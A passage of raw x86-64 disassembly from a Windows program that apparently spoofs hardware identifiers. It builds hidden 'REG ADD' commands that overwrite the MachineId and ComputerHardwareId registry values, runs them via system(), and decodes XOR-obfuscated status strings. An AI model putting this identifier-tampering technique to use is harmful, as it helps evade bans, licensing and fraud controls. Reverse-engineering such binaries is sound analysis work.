movups xmm0, xmmword [str.REG_ADD_HKLMSOFTWAREMicrosoftSQMClient__v_MachineId__t_REG_SZ__d]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x140826530]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [0x140826540]
movups xmmword [rbx + 0x20], xmm0
movups xmm1, xmmword [0x140826550]
movups xmmword [rbx + 0x30], xmm1
mov eax, dword [0x140826560]
mov dword [rbx + 0x40], eax
lea rcx, [rbx + 0x44]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
mov r8d, 8
lea rdx, str.__f__NUL
lea rcx, [rbp + 0x170]
call fcn.140797ab0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rcx, qword [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x1407931f4
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1407931ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14079523d
call fcn.14080fdd0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x14079324e
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140793249
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140795244
call fcn.14080fdd0
mov ecx, esi
test ebx, ebx
jne 0x1407934d2
movups xmm0, xmmword [0x140826a48]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140826a58]
movups xmmword [rbp + 0xe0], xmm1
movzx eax, byte [0x140826a68]
mov byte [rbp + 0xf0], al
cmp r13d, 2
jl 0x1407933cb
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x1407932c1
cmp ecx, 0x21
jge 0x14079340e
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x21
jl 0x1407933e0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [rbp + 0x220]
mov r8, qword [rbp + 0x230]
mov rcx, rax
cmp qword [rbp + 0x238], 0xf
jbe 0x140793459
mov rdx, qword [rbp + 0x220]
call fcn.14079a730
mov r8, rax
mov eax, dword [0x140826d04]
mov dword [rbp + 0xc0], eax
jmp 0x14079346d
call fcn.14079a730
mov r8, rax
mov ecx, dword [0x140826d04]
mov dword [rbp + 0xc0], ecx
movzx eax, byte [0x140826d08]
mov byte [rbp + 0xc0], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp + 0xc1], 0x31
xor byte [rbp + 0xc2], 0x32
xor byte [rbp + 0xc3], 0x33
xor al, 0x34
mov byte [rbp + 0xc4], al
lea rdx, [rbp + 0xc0]
mov rcx, r8
call fcn.140798380
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
mov rcx, rax
call fcn.14079a730
jmp 0x1407936a1
movups xmm0, xmmword [0x140827730]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140827740]
movups xmmword [rbp + 0xe0], xmm1
movzx eax, word [0x140827750]
mov word [rbp + 0xf0], ax
cmp r13d, 2
jl 0x14079364a
movdqa xmm5, xmmword [0x14083c9b0]
mov ecx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140793540
cmp ecx, 0x22
jge 0x14079368e
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x22
jl 0x140793660
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [0x140798550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xd0]
call fcn.1407893a0
mov rbx, rax
lea rax, [rbp + 0x150]
cmp rax, rbx
je 0x140793755
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x140793718
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140793713
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14079524b
call fcn.14080fdd0
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x150], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x160], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140793796
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140793791
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14079524b
call fcn.14080fdd0
mov r15, qword [rbp + 0x160]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x63
jb 0x1407952de
lea r12, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova r12, qword [rbp + 0x150]
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], rsi
lea r14, [r15 + 0x63]
mov edi, reloc.WS2_32.dll_ntohs
lea rbx, [rbp + 0x170]
cmp r14, rdi
jbe 0x140793879
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x14079381a
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140793841
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140793860
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1407952d8
mov rcx, rax
call fcn.140810194
test rax, rax
je 0x140795259
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140793872
test rcx, rcx
je 0x14079386f
call fcn.140810194
mov rbx, rax
jmp 0x140793872
mov rbx, rsi
mov qword [rbp + 0x170], rbx
mov qword [rbp + 0x180], r14
mov qword [rbp + 0x188], rdi
movups xmm0, xmmword [str.REG_ADD_HKLMSYSTEMCurrentControlSetControlSystemInformation__v_ComputerHardwareId__t_REG_SZ__d]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x140826580]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [0x140826590]
movups xmmword [rbx + 0x20], xmm0
movups xmm1, xmmword [0x1408265a0]
movups xmmword [rbx + 0x30], xmm1
movups xmm0, xmmword [0x1408265b0]
movups xmmword [rbx + 0x40], xmm0
movups xmm1, xmmword [0x1408265c0]
movups xmmword [rbx + 0x50], xmm1
movzx eax, word [0x1408265d0]
mov word [rbx + 0x60], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x62], al
lea rcx, [rbx + 0x63]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
mov r8d, 8
lea rdx, str.__f__NUL
lea rcx, [rbp + 0x170]
call fcn.140797ab0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rcx, qword [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x1407939a6
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1407939a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140795252
call fcn.14080fdd0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x140793a00
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1407939fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140795259
call fcn.14080fdd0
mov ecx, esi
test ebx, ebx
jne 0x140793c92
movups xmm0, xmmword [0x140827758]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140827768]
movups xmmword [rbp + 0xe0], xmm1
movzx eax, word [0x140827778]
mov word [rbp + 0xf0], ax
cmp r13d, 2
jl 0x140793b8a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140793a80
cmp ecx, 0x22
jge 0x140793bce
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x22
jl 0x140793ba0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [rbp + 0x200]
mov r8, qword [rbp + 0x210]
mov rcx, rax
cmp qword [rbp + 0x218], 0xf
jbe 0x140793c19
mov rdx, qword [rbp + 0x200]
call fcn.14079a730
mov r8, rax
mov eax, dword [0x140826d04]
mov dword [rbp + 0x148], eax
jmp 0x140793c2d
call fcn.14079a730
mov r8, rax
mov ecx, dword [0x140826d04]
mov dword [rbp + 0x148], ecx
movzx eax, byte [0x140826d08]
mov byte [rbp + 0x148], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp + 0x149], 0x31
xor byte [rbp + 0x14a], 0x32
xor byte [rbp + 0x14b], 0x33
xor al, 0x34
mov byte [rbp + 0x14c], al
lea rdx, [rbp + 0x148]
mov rcx, r8
call fcn.140798380
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
mov rcx, rax
call fcn.14079a730
jmp 0x140793e71
movups xmm0, xmmword [0x140826ff8]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [0x140827008]
movups xmmword [rbp + 0xa8], xmm1
movzx eax, word [0x140827018]
mov word [rbp + 0xb8], ax
movzx eax, byte [0x14082701a]
mov byte [rbp + 0xba], al
cmp r13d, 2
jl 0x140793e1a
movdqa xmm5, xmmword [0x14083c9b0]
mov ecx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0x98]
mov r8d, dword [rbp + 0x170]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140793d10
cmp ecx, 0x23
jge 0x140793e5e
movsxd rax, ecx
lea r8, [rbp + 0x98]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x23
jl 0x140793e30
lea rdx, [rbp + 0x98]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [0x140798550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 3
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.bPW_X_M__]
movups xmmword [rbp + 0xd0], xmm0
movsd xmm0, qword [0x1408270a8]
movsd qword [rbp + 0xe0], xmm0
cmp byte [0x1408270af], 0
je 0x140794053
cmp r13d, 2
jl 0x140794007
movdqa xmm5, xmmword [0x14083c9b0]
mov edx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rcx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140793f00
jmp 0x140794053
lea r9, [rbp + 0xd0]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, r8b
sub al, dl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140794020
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [0x140798550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.S_A3]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826ea3], 0
je 0x140794173
cmp r13d, 2
jl 0x140794128
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
jmp 0x140794173
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140794140
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x1407941c2
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1407941bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140795260
call fcn.14080fdd0
lea r12, [0x140000000]
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x14079420a
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140794205
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140795267
call fcn.14080fdd0
mov qword [rbp + 0x210], rsi
mov qword [rbp + 0x218], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x200], 0
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x140794264
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14079425f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14079526e
call fcn.14080fdd0
mov qword [rbp + 0x230], rsi
mov qword [rbp + 0x238], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x220], 0
mov rdx, qword [rbp + 0x258]
cmp rdx, 0xf
lea r15, [0x14084b108]
lea rbx, [0x14084c760]
lea rdi, [0x14084cb70]
jbe 0x14078a7a0
inc rdx
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1407942d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140795275
call fcn.14080fdd0
jmp 0x14078a786
mov byte [reloc.WS2_32.dll_accept], 0
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x1407943d3
cmp r13d, 2
jl 0x14079438a
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
